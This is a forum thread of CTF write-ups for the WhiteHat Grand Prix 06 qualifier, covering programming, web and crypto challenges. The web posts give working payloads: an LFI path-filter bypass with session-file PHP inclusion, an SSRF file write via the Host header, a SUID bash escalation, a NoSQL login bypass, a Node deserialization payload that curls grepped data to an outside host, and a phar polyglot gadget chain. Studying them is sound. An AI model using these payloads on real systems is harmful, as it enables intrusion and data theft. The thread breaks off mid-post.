Tổng hợp Write-up cuộc thi WhiteHat Grand Prix 06 - Vietnam Today - Vòng sơ loại

Thảo luận trong 'Writeup WhiteHat Grand Prix' bắt đầu bởi WhiteHat News #ID:2018, 07/01/20, 01:01 PM.

  1. WhiteHat News #ID:2018

    WhiteHat News #ID:2018 WhiteHat Support

    Tham gia: 20/03/17, 10:03 AM
    Bài viết: 312
    Đã được thích: 102
    Điểm thành tích:
    43
    Chào các bạn, WhiteHat Grand Prix 06 – Vietnam Today vòng sơ loại đã kết thúc. Cuộc thi năm nay thu hút số đội tham gia kỷ lục với 739 đội đến từ 84 quốc gia trên toàn thế giới, trong đó có 600 đội thi quốc tế. Trong 24h diễn ra cuộc thi đã có 2.505 lần submit lên hệ thống với tổng số lượt bài được giải là 628.

    WHGP_challenge.PNG
    Ban tổ chức tạo topic này để các đội chơi và các bạn thành viên chia sẻ các writeup của đội mình sau cuộc thi, qua đó giúp cộng đồng có thêm các kiến thức bổ ích.

    WhiteHat Grand Prix 06 – Vietnam Today gồm 20 challenge:

    PROGRAMING (03 bài)

    1. Programing 01

    2. Programing 02

    3. Programing 03

    WEB SECURITY (5 bài)

    1. Web01

    2. Web02

    3. Web03

    4. Web04

    5. Web05

    CRYPTOGRAPHY (3 bài)

    1. Crypto 01

    2. Crypto 02

    3. Crypto 03

    PWNABLE (3 bài)

    1. Pwn01

    2. Pwn02

    3. Pwn03

    REVERSE ENGINEERING (2 bài)

    1. Re01

    2. Re02

    MISC (4 bài)

    1. Misc 01

    2. Misc 02

    3. Misc 03

    4. Misc 04

    Xin cảm ơn các bạn!
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    whf thích bài này.
  2. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    prog01 | Team: perfect blue

    upload_2020-1-14_23-25-31.png
     
    Chỉnh sửa cuối: 15/01/20, 12:01 AM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  3. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    prog02 | Team: perfect blue

    In this challenge, we are asked to find the number of passwords that can be generated using this numpad:

    Mã:
    +---+---+---+
    | 1 | 2 | 3 |
    +---+---+---+
    | 4 | 5 | 6 |
    +---+---+---+
    | 7 | 8 | 9 |
    +---+---+---+
    | * | 0 | # |
    +---+---+---+
    
    We are restricted by certain rules:
    1. The password has length of n
    2. The password must end with either *, 8 or #.
    3. After one character, the character which is on the knight move pattern (as the knight in chess) can be the next character. For example, if the current character is 3, then the next character can be either 4 or 8.
    We can treat this numpad as a graph, with the nodes being the numbers and there being a edge between two numbers if we can move from one number to another using a knights move pattern. The answer is the number of (n-1)-length walks from each vertex to one of the special vertices (*, 8 or #).

    To calculate this number, we can generate a adjacency matrix of the graph and raise it to the (n-1)th power modulo 1e16. The value at upload_2020-1-14_23-40-26.png will be the number of passwords of length n which start at i and end at j. So we can add up the columns for our special verices to get the answer.

    We can write a quick script in sage to interact with the remote and solve the challenges.

    Mã:
    from sage.all import *
    
    def conv(i, j):
        return i * 3 + j
    
    a = []
    
    for i in range(4):
        for j in range(3):
            curr = []
            for k in range(4):
                for l in range(3):
                    if (abs(i-k) == 2 and abs(j-l) == 1) or (abs(i-k) == 1 and abs(j-l) == 2):
                        curr.append(1)
                    else:
                        curr.append(0)
            a.append(curr)
    
    mod_num = 10**39
    
    print a
    M = Matrix(IntegerModRing(mod_num), a)
    
    flag = ''
    
    proc = remote('15.165.30.141', 9399)
    while True:
        proc.recvuntil("n = ")
        curr_n = int(proc.recvline().strip())
        sice = M**(curr_n-1)
    
        ans = 0
    
        for j in range(12):
            ans += sice[conv(3, 0)][j]
            ans += sice[conv(2, 1)][j]
            ans += sice[conv(3, 2)][j]
    
        ans = ans % mod_num
        print ans
        proc.recvuntil("Answer: ")
        proc.sendline(str(ans))
        reward = proc.recvline().strip()
        print reward
        flag += reward[-1]
        print flag
    Running this goes through all the questies and gives us the flag:

    Mã:
    $ sage -python solve.sage
    [[0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1], [1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0], [0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1], [1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0]]
    [+] Opening connection to 15.165.30.141 on port 9399: Done
    6552
    Thank you <3 Here is your reward: W
    W
    565482
    Thank you <3 Here is your reward: h
    Wh
    186
    Thank you <3 Here is your reward: i
    Whi
    1102
    Thank you <3 Here is your reward: t
    Whit
    .
    .
    .
    Thank you <3 Here is your reward: <
    WhiteHat{S0_many_p4ssw0rd_uhuhu_giveup_already_:<
    912219433891006851086847902654884262008
    Thank you <3 Here is your reward: }
    WhiteHat{S0_many_p4ssw0rd_uhuhu_giveup_already_:<}
     
    Chỉnh sửa cuối: 15/01/20, 12:01 AM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  4. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    prog03 | Team: perfect blue

    In this challenge, we are give two random boolean expressions, and are asked to evaluate if they are equivalent:

    Mã:
    Given two expressions, are they equal? Enter either [YES/NO]
    E1: ~(A+A)
    E2: (~A)
    >
    They start off simple, but we can assume that it will get much more complex towards the end, so we have to write a solver for this. SAT Solvers can easily do this for us. We need to parse the equations into the format for the SAT solver and then check if they are equivalent or not.

    If you are stupid like me and do not know that there exist libraries that can do this for you, you can waste time writing a stack based parse for the infix operations, and lose first blood. See parse_expr in solve.py for how it is done. Once we have the expression parsing implemented, we can give it to a SAT solver and ask it to check if they are different or not.

    Mã:
    while True:
        e1 = proc.recvline().strip().split(": ")[1]
        e2 = proc.recvline().strip().split(": ")[1]
        print e1
        print e2
    
        z1 = parse_expr(e1)
        z2 = parse_expr(e2)
        print z1
        print z2
        s = Solver()
        s.add(z1 != z2)
        if s.check() == unsat:
            print "YES"
            proc.sendline("YES")
        else:
            print "NO"
            proc.sendline("NO")
        print proc.recvline()
    We tell the SAT solver that the two expressions are not equivalent to each other and make it find a example that fits the case, if it cannot do so, we know that the there is no assignment of variables that will make it different, so they are indeed equivalent.

    We can run this and get the flag.

    Mã:
    > Very well, you've done it the right way! Your flag is: WhiteHat{BO0l3_1s_s1MpL3_f0R_Pr0gR4mM3R}
    
    solve.py

    Mã:
    from pwn import *
    from z3 import *
    
    bool_vals = {}
    
    for c in string.uppercase:
        bool_vals[c] = Bool(c)
    bool_vals['1'] = True
    bool_vals['0'] = False
    
    ops = ['+', '*', '~']
    
    # def parse_expr(e):
    #     if e[0] == '~' and e[1] == '(':
    #         assert e[-1] == ')'
    #         return Not(parse_expr(e[1:-1]))
    #     curr_val = None
    #     if e[0] == '~' and e[1] in bool_vals.keys():
    #         curr_val = Not(bool_vals[e[1]])
    #     elif e[0] in bool_vals:
    #         curr_val = bool_vals[e[0]]
    
    def calc(op, num1, num2):
        if op == '~':
            assert num1 is None
            return Not(num2)
        if op == '+':
            return Or(num1, num2)
        if op == '*':
            return And(num1, num2)
        assert False
    
    def parse_expr(expr):
        expr = list(expr)
        stackChr = list() # character stack
        stackNum = list() # number stack
        while len(expr) > 0:
            c = expr.pop(0)
            if c in bool_vals:
                stackNum.append(bool_vals[c])
            elif c in ops:
                while True:
                    if len(stackChr) > 0: top = stackChr[-1]
                    else: top = ""
                    if top in ops:
                        if c != "~":
                            num2 = stackNum.pop()
                            op = stackChr.pop()
                            num1 = None
                            if op == '+' or op == '*':
                                num1 = stackNum.pop()
                            stackNum.append(calc(op, num1, num2))
                        else:
                            stackChr.append(c)
                            break
                    else:
                        stackChr.append(c)
                        break
            elif c == "(":
                stackChr.append(c)
            elif c == ")":
                while len(stackChr) > 0:
                    c = stackChr.pop()
                    if c == "(":
                        break
                    elif c in ops:
                        num2 = stackNum.pop()
                        num1 = None
                        if c == '+' or c == '*':
                            num1 = stackNum.pop()
                        stackNum.append(calc(c, num1, num2))
    
        while len(stackChr) > 0:
            c = stackChr.pop()
            if c == "(":
                break
            elif c in ops:
                num2 = stackNum.pop()
                num1 = None
                if c == '+' or c == '*':
                    num1 = stackNum.pop()
                stackNum.append(calc(c, num1, num2))
    
        return stackNum.pop()
    
    
    # import ipdb
    # ipdb.set_trace()
    # print parse_expr("~(A*~A)")
    # exit()
    
    proc = remote('52.78.36.66', 82)
    proc.recvuntil("[YES/NO]\n")
    
    while True:
        e1 = proc.recvline().strip().split(": ")[1]
        e2 = proc.recvline().strip().split(": ")[1]
        print e1
        print e2
    
        z1 = parse_expr(e1)
        z2 = parse_expr(e2)
        print z1
        print z2
        s = Solver()
        s.add(z1 != z2)
        if s.check() == unsat:
            print "YES"
            proc.sendline("YES")
        else:
            print "NO"
            proc.sendline("NO")
        print proc.recvline()
    
     
    Chỉnh sửa cuối: 15/01/20, 12:01 AM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  5. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    web01 | Team: perfect blue

    Recon
    This challenge introduces two bugs, one of which leads to solution: There's SSRF and LFI in page parameter.

    After trying multiple files, we realised that there's some sort of filtering in place that prevents directly including files such as /etc/passwd.

    To bypass filter we use /./ prefix to path. This way it's possible to dump /etc/passwd. Example: http://15.165.80.50/?page=/./etc/passwd

    Getting RCE
    First thing I enumerated was /proc/self/fd/X where X corresponds to file descriptor. On file descriptor 11 there was a session file that contained our username. Assuming the file is getting included and not just printed out, I tried to include php shell in the username and that worked.

    Final steps:
    1. Register user with php code in name
    2. login
    3. include /./proc/self/fd/11 (http://15.165.80.50/?page=/./proc/self/fd/11)
    Flag
     
    Chỉnh sửa cuối: 15/01/20, 12:01 AM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  6. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    web02 | Team: perfect blue

    This was an interesting challenge. We are only provided with a link to a website and no source code.

    The webapp is essentially a post service with image uploads. You can upload a "featured image" and create a post referencing that image.

    upload_2020-1-14_23-53-57.png
    upload_2020-1-14_23-54-57.png
    Visiting the post.php directly revealed the source code

    Mã:
    <?php
    require_once('header.php');
    require_once('db.php');
    
    $post = [];
    
    function rotate_feature_img($post_id, $degrees) {
        $post = get_post($post_id);
        $src_file = $post['feature_img'];
        $ext = strtolower(pathinfo($src_file, PATHINFO_EXTENSION));
      
        $src_file = "uploads/" . $src_file;
        if ( !file_exists( $src_file ) ) {
            $base_url = "http://" . $_SERVER['HTTP_HOST'];
            $src = $base_url. "/" . $src_file;
        } else {
            $src = $src_file;
        }
        try {
            $img = new Imagick($src);
            $img->rotateImage('white', $degrees);
        } catch (Exception $e) {
            die('fail to rotate image');
        }
        @mkdir(dirname($src_file));
        @$img->writeImage($src_file);
    }
    
    function get_title() {
        global $post;
        echo $post['title'];
    }
    
    function get_body() {
        global $post;
        echo $post['body'];
    }
    
    function get_img_src() {
        global $post;
        $base_url = "http://" . $_SERVER['HTTP_HOST'];
        echo $base_url."/uploads/".$post['feature_img'];
    }
    
    function check_theme($theme) {
        if(!in_array($theme, scandir('./themes'))) {
            die("Invalid theme!");
        }
    }
    
    if (isset($_GET['post_id'])) {
        require_once('post_header.php');
      
        $post_id = $_GET['post_id'];
        global $post;
        $post = get_post($post_id);
        if (isset($_GET['theme'])) {
            $theme = $_GET['theme'];
        } else {
            $theme = 'theme1.php';
        }
        check_theme($theme);
        include('themes/'.$theme);
        echo("<button class='btn btn-primary' id='edit-btn'>Edit image</button>
    <form action='post.php' method='post' width='50%'>
        <div class='form-group' id='edit-div'>
        <label for='exampleInputEmail1'>Degree</label>
        <input type='text' class='form-control' id='exampleInputEmail1' placeholder='90' name='degree'>
        <input type='hidden' class='form-control' id='exampleInputEmail2' value='$post_id' name='post_id'>
        <button type='submit' class='btn btn-primary'>Rotate</button>
      </div>");
        require_once('post_footer.php');
    }
    else if (isset($_POST['post_id']) && isset($_POST['degree'])) {
        $post_id = $_POST['post_id'];
        rotate_feature_img($post_id, (int) $_POST['degree']);
        header("Location: /post.php?post_id=$post_id&theme=theme1.php");
    } else {
        show_source('post.php');
    }
    
    require_once('footer.php');
    ?>
    The interesting functionality here is we can rotate an image. The bug lies in the function:

    Mã:
    function rotate_feature_img($post_id, $degrees) {
        $post = get_post($post_id);
        $src_file = $post['feature_img'];
        $ext = strtolower(pathinfo($src_file, PATHINFO_EXTENSION));
      
        $src_file = "uploads/" . $src_file;
        if ( !file_exists( $src_file ) ) {
            $base_url = "http://" . $_SERVER['HTTP_HOST'];
            $src = $base_url. "/" . $src_file;
        } else {
            $src = $src_file;
        }
        try {
            $img = new Imagick($src);
            $img->rotateImage('white', $degrees);
        } catch (Exception $e) {
            die('fail to rotate image');
        }
        @mkdir(dirname($src_file));
        @$img->writeImage($src_file);
    }
    Basically it checks if the image we are rotating exists on the server, otherwise it gets it from a remote server based on the HTTP_HOST, which we can control.

    It then writes it to the the "$src_file" location and since we control that based on the feature_img, we can traverse it and make it write a file in the themes folder.

    The file written in the themes folder can be later loaded:

    Mã:
        if (isset($_GET['theme'])) {
            $theme = $_GET['theme'];
        } else {
            $theme = 'theme1.php';
        }
        check_theme($theme);
        include('themes/'.$theme);
    The image is rotated before getting saved, so I just used a svg with a text tag to preserve the php code after rotation.
    svg
    Mã:
    <?xml version="1.0" encoding="UTF-8"?>
    <svg width="17px" height="17px">
        <text>&lt;?php echo "hacked";echo file_get_contents("/flag.txt"); ?&gt;</text>
    </svg>
    
    The exploit was basically:
    • Create an post with the "Featured Image" set to ../themes/jazzyhack
    • Rotate the image with a custom Host header and have the payload hosted at /themes/jazzyhack on the Host header domain you used.
    Mã:
    curl 'http://52.78.36.66:81/post.php' -H 'Host: domain.com' --data 'degree=90&post_id=ZkXXHLCW'
    (with the payload hosted at domain.com/themes/jazzyhack)

    Now just load the theme jazzyhack and you have arbitrary php code execution.

    upload_2020-1-15_0-9-17.png
     
    Chỉnh sửa cuối: 15/01/20, 12:01 AM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  7. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    web03 | Team: perfect blue

    Ruby on Rails challenge. There's a known CVE that we use to gain shell (https://github.com/mpgn/Rails-doubletap-RCE).

    After getting a shell we see that the flag is owned by root. The bash on system is has suid bit set that allows us to get root shell. By default bash drops privileges unless explicitly asked not to.

    Mã:
    bash-4.4$ /bin/bash -p
    /bin/bash -p
    bash-4.4$ id
    id
    uid=999(trex) gid=999(trex) euid=998(sauropod) egid=998(sauropod) groups=998(sauropod)
    bash-4.4$ cat /flag.txt
    cat /flag.txt
    WhiteHat{do_not_push_secret_keys_in_rails}
    bash-4.4$ 
    Flag
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  8. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    web04 | Team: perfect blue

    NoSQL

    A nodejs application that first introduces a NoSQL injection in login page. We can bypass authentication by using username[$ne]=test&password[$ne]=test in the POST data when logging in.

    RCE
    We continue to enumerate users until we find user with admin permissions. This user was itachi.

    After logging in to this account we see new endpoint called /checktoken This endpoint accepts base64 encoded data to it. Example content:

    Mã:
    {"cookie":{"path":"/","_expires":null,"originalMaxAge":null,"httpOnly":true},"islogin":true,"isadmin":true,"username":"itachi","email":"[email protected]","slogan":"Try Hard!!","country":"US"}
    
    Since we had no source, we tried different options on how to proceed from here. The working solution was to try deserialization payload, which surprisingly worked.

    The data that is passed to the endpoint now looks like this:

    Mã:
    {"cookie":{"rce":"_$$ND_FUNC$$_function (){/* JS CODE HERE */}()"},"islogin":true,"isadmin":true,"username":"itachi","email":"[email protected]","slogan":{"$ne":"Try Hard!!"},"country":{"toString":"XXXX"}}
    
    After trying some javascript code we see that some functions are blacklisted, for example exec function. This is not a big deal, as the spawn function is allowed. The final payload that was used for flag exfiltration is shown below:

    Mã:
    {"cookie":{"rce":"_$$ND_FUNC$$_function (){\n \t throw require('child_process').spawn('bash', ['-c','curl https://enlo143u2fju.x.pipedream.net/$(grep -rain whitehat|base64 -w0)']);\n }()"},"islogin":true,"isadmin":true,"username":"itachi","email":"[email protected]","slogan":{"$ne":"Try Hard!!"},"country":{"toString":"XXXX"}}
    
    Flag
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  9. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    web05 | Team: perfect blue

    The challenge has source code (luckily).

    We can trigger deserialization because of following vulnerable code:

    Mã:
            try {
                if ($imageInfo['Height'] && $imageInfo['Width']) {
                    $height = $imageInfo['Height'];
                    $width = $imageInfo['Width'];
                } else {
                    list($width, $height) = getimagesize($image);
                }
    getimagesize() accepts attacker controllable URI. If we pass phar:// scheme it would trigger phar deserialization.

    One more thing we need to care of is our phar archive must be a valid image (or at least look like it). There's a known solution for this problem.

    The server uses http guzzle that again, fortunately for us, has needed gadget achieve RCE on the server. The php-ggc framework contains a generator code that is changed so that it would generate phar/image polyglot.

    The modified code is shown below:

    Mã:
    <?php
    
    namespace GadgetChain\Guzzle;
    
    class FW1 extends \PHPGGC\GadgetChain\FileWrite
    {
        public static $version = '6.0.0 <= 6.3.3+';
        public static $vector = '__destruct';
        public static $author = 'cf';
    
        public function generate(array $parameters)
        {
            $path = $parameters['remote_path'];
            $data = $parameters['data'];
            $a =  new \GuzzleHttp\Cookie\FileCookieJar($path, $data);
            //unlink('pwn.phar');
            $p = new \Phar('pwn.phar', 0);
            $p['file.txt'] = 'test';
            $p->setMetadata($a);
            $p->setStub("\xff\xd8\xff\xe0\x0a<?php __HALT_COMPILER(); ?>");
        }
    }
    We upload this "image" to server and record the path. Then we generate html page that would point to it.

    HTML:
    <html>
    <head></head>
    pwn image here
    <img src=phar:///app/upload/af55k6peln8ni9270eut7i8uqr/73f2a4aa40cf38e647d802bc.jpg>
    <body></body>
    </html>
    Then we fetch image from our server and get RCE.

    Flag


     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  10. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    crypto01 | Team: perfect blue

    This problem provides you with some generated message that you have to decrypt, and an encrypt oracle. At some point you can provide the message and decrypt it, and at that point, if it is correct, you get the flag.

    We first note that encrypting a letter, vs a number, vs a symbol yields different size hex strings, and each hex string corresponds to a character. This means that most of the bytes in this hex string is useless junk.

    My hypothesis was that perhaps a certain subset of bits actually determine what letter it is. To verify that, I encrypted 'A' some number of times, then encrypted 'B'. Based on my hypothesis, bytes that differ at each iteration of encrypting 'A' is just noise, and the bytes that didn't change at all between both 'A' and 'B' are also ignored.

    By making a few tests, we also noticed consistent format in the chaos strings: the hex strings can be divided into pairs, separated by 2f or '/'. Each pair has the same two hex strings (so the corresponding 2-byte coding is the same). Effectively, a letter has 4 bytes of entropy. We noticed that for upper case letters, the 2nd byte is same across all 'A's, but different for 'B'. For lower case, we find it to be the third pair. For symbols, it is the first pair, and numbers, it is also the third pair. Numbers has 3 pairs, while symbols have 5 pairs.

    Next we observe that the position also changes those respective values.

    Unfortunately the mapping between position, letters, actual byte value is varied (i.e. there's no consistent pattern, and it changes each time), and the relationship can be linear or some other crazy relation. For simplicity, we just brute all the letters, symbols, and numbers at all positions.

    Here is the solve script for this cancerous crypto challenge.

    Mã:
    from pwn import *
    
    p = remote('15.164.159.194', 8006)
    
    
    p.recvuntil('key: ')
    key = p.recvline().strip().split(' ')
    
    timedelay = .3
    chunks = 10
    def bulk_enc(msgs):
        p.recvuntil('choice: ')
    
        ret = []
        for off in range(0, len(msgs), chunks):
            tmp = msgs[off:off+chunks]
            for m in tmp:
                print(m)
                p.sendline('1')
                sleep(timedelay)
                p.sendline(m)
                sleep(timedelay)
    
            for m in tmp:
                p.recvuntil('message: ')
                ret.append(p.recvline().strip().split(' '))
        return ret
            
    
    def enc(msg):
        p.recvuntil('choice: ')
        p.sendline('1')
        p.recvuntil('message: ')
        p.sendline(msg)
    
    def getflag(key):
        p.recvuntil('choice: ')
        p.sendline('2')
        p.recvuntil('flag: ')
        p.sendline(key)
        p.interactive()
    
    
    syms = 0
    upper = 6
    lower = 12
    numbr = 12
    
    syms_len = 28
    let_len = 22
    num_len = 16
    
    m_syms = [{} for i in range(64)]
    m_uppers = [{} for i in range(64)]
    m_lowers = [{} for i in range(64)]
    m_numbs = [{} for i in range(64)]
    
    def tabular(tbl, loc, lets):
        encs = bulk_enc([x * 64 for x in lets])
        for chaos, x in zip(encs, lets):
            y = [v[loc:loc+2] for v in chaos]
            for i in range(64):
                tbl[i][y[i]] = x
    
    tabular(m_uppers, upper, 'AAAABCDEFGHIJKLMNOPQRSTUVWXYZ')
    tabular(m_lowers, lower, 'aaaaaaabcdefghijklmnopqrstuvwxyz')
    tabular(m_syms, syms, '~`[email protected]#$%^&*()_-+=<,>.?|~')
    tabular(m_numbs, numbr, '1234567890')
    
    def decode(pos, codepoint):
        if len(codepoint) == syms_len:
            return m_syms[pos][codepoint[syms:syms+2]]
        elif len(codepoint) == num_len:
            return m_numbs[pos][codepoint[numbr:numbr+2]]
        else:
            assert len(codepoint) == let_len
            up = codepoint[upper:upper+2]
            low = codepoint[lower:lower+2]
            if int(codepoint[18:20], 16) & 0x20 != 0: # lowercase
                return m_lowers[pos][low]
            else:
                return m_uppers[pos][up]
    
    
    key2 = ''.join([decode(i, cp) for i, cp in enumerate(key)])
    print(key2)
    
    getflag(key2)
    
    
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  11. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    crypto02 | Team: perfect blue

    In this challenge, we have a secret question that is first base64-encoded and then encrypted using AES-CTR and sent to us. We then have to answer this question to get the flag.

    Mã:
    def encrypt(s, nonce):
            s = b64encode(s)
            crypto = AES.new(key, AES.MODE_CTR, counter=lambda: nonce)
            return b64encode(crypto.encrypt(s))

    The AES-CTR implementation uses lambda: nonce as the counter, which means that it will use the same nonce for every block. This means, we essentially have a repeating xor with a 16-byte key.

    We cannot use normal crib dragging techniques here as the plaintext is base64-encoded first. The nonce is also randomly generated every time we get a new question, so we have to treat each question as a independent problem. This also means we can only answer the question we last asked for. We have a wrong decryption oracle here, which means we can send arbitrary ciphertext and know if it was correct or not.

    Using all these knowledge, I tried to reduce the keyset by exploiting the property that the plaintext was a base64 encoded string.

    Mã:
    charset = '=+/0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    
    key_sice = []
    
    for i in range(16):
        sice = []
        for j in range(256):
            corr = True
            for k in range(i, len(enc), 16):
                if xor(enc[k], chr(j)) not in charset:
                    corr = False
                    break
            if corr:
                sice.append(j)
        print sice
        key_sice += [sice]
    First, for each character of the 16 byte key, we try all possible values from 0 to 256 and find the values which decrypt the ciphertext to a valid base64 character in the positions where the key is repeated. This reduces our search space for each byte by almost 1/4 th.

    Next we use the property that, every 4 contiguous base64 characters are converted to 3 bytes of actual data. This means, we can group the key bytes into groups of 4, and try all possible combinations of making these 4 groups. For each possible key group, we use it to decode the ciphertext into some base64 data, which we try to decode. If it succesfully decodes into printable english characters, then we add the key combination to our options.

    Mã:
    charset2 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>[email protected][]^_`{|}~ '
    
    opts = []
    for i in range(0, 16, 4):
        curr_opts = []
        print i
        curr_keys = key_sice[i:i+4]
        for comb in itertools.product(*curr_keys):
            corr = True
            for j in range(i, len(enc)/16 * 16, 16):
                curr_block = enc[j:j+4]
                curr_dec = None
                try:
                    curr_dec = b64decode(xor(curr_block, ''.join(map(chr, comb))))
                except TypeError:
                    corr = False
    
                if corr == False:
                    break
    
                corr_2 = True
                for c in curr_dec:
                    if c not in charset2:
                        corr_2 = False
                        break
                if not corr_2:
                    corr = False
                    break
            if corr:
                curr_opts.append(comb)
        print len(curr_opts)
        opts.append(curr_opts)
        print ""
    Once we have a set of key groups, ie key options for [0:4], [4:8], [8:12], [12:16], we can combine all of those to generate all possible valid keys, and use those to decrypt the entire plaintext. Now, this will obviously generate a lot of keys, so we have to use some heuristics to reduce our keyspace. At first I tried picking around 10-20 random keys from the keyspace and using them to decrypt the ciphertext. From this I noticed that many of the decrypted plaintexts had curly braces at the beginning or the end. I took an educated guess that the original question was a json object and added checks in my second key-group brute to make sure the first and the last block would have the curly braces ensuring JSON object.

    Mã:
                if j == 0 and curr_dec[:2] != '{"':
                    corr_2 = False
                if j == 92 and curr_dec[-2:] != '"}':
                    corr_2 = False
    Using this reduced my keyspaces further, but I still had a lot of keys and no good way of determining the correct one. So I went back to my random decryption method, and noticed a number of plaintexts had a misspelling the word "answer" with different cases in them. So I tried to look for plaintexts which had answer as a key in the JSON object.

    Mã:
    for key_comb in itertools.product(*opts):
        test_key = []
        for i in range(4):
            test_key += list(key_comb[i])
        dec_b64 = xor(enc, ''.join(map(chr, test_key)))
        dec = b64decode(dec_b64)
        if '"answer=' in dec:
            print repr(dec)
    We have to try this on multiple ciphertexts, because often our checks are too strong and it does not find any good keys, or it finds too many possible keys and it is not feasible for us to go through all the key combinations. After a couple of tries, we find a ciphertext that hits the sweet spot, and we get a large number of valid ciphertexts.

    Mã:
    0
    32
    
    4
    175
    
    8
    220
    
    12
    2
    
    Total:  2464000
    '{"a":593e0,"b":9157<a"y":16085,%>m":"yf05j"(kZ":1495,"atk:"answer=a*3"}'
    '{"a":593j0,"b":9157<n"y":16085,%:m":"yf05j"(hZ":1495,"ath:"answer=a* "}'
    '{"a":595%0,"b":91577!"y":16085,#~m":"yf05j"++Z":1495,"ar+:"answer=a+s"}'
    '{"a":59500,"b":91577,"y":16085,#tm":"yf05j"+"Z":1495,"ar":"answer=a+Z"}'
    '{"a":595-0,"b":91577)"y":16085,#wm":"yf05j"+#Z":1495,"ar#:"answer=a+["}'
    '{"a":595+0,"b":91577/"y":16085,#ym":"yf05j"+%Z":1495,"ar%:"answer=a+]"}'
    .
    .
    .
    As we can see, these look almost like valid JSON with some typos in it. So we can filter the ciphertexts even more by printing the ones that are valid JSON.

    Mã:
        if '"answer=' in dec:
            try:
                json.loads(dec)
                print repr(dec)
            except ValueError:
                pass
    Using this, we find the right plaintext:

    Mã:
    0
    32
    
    4
    175
    
    8
    220
    
    12
    2
    
    Total:  2464000
    '{"a":59400,"b":91578,"y":16085,"tm":"yf05j","Z":1495,"as":"answer=a*Z"}'
    We can now submit this answer to the remote and get the flag:

    Mã:
    Your choice: 1
     iMeec1JxJBSHe4zO8wdMmrTXnS1UTw4UhlW6yvcqUJqi1JEpVl8sFIRsl4ncF3LFpNC4dlZfHVSBRqrQ6S1yxaDqhS5VSDxMkXeQ0PEtcZuP0JooQUMCHJF8rdj3KgvO
    1. Get challenge
    2. Solve challenge
    Your choice: 2
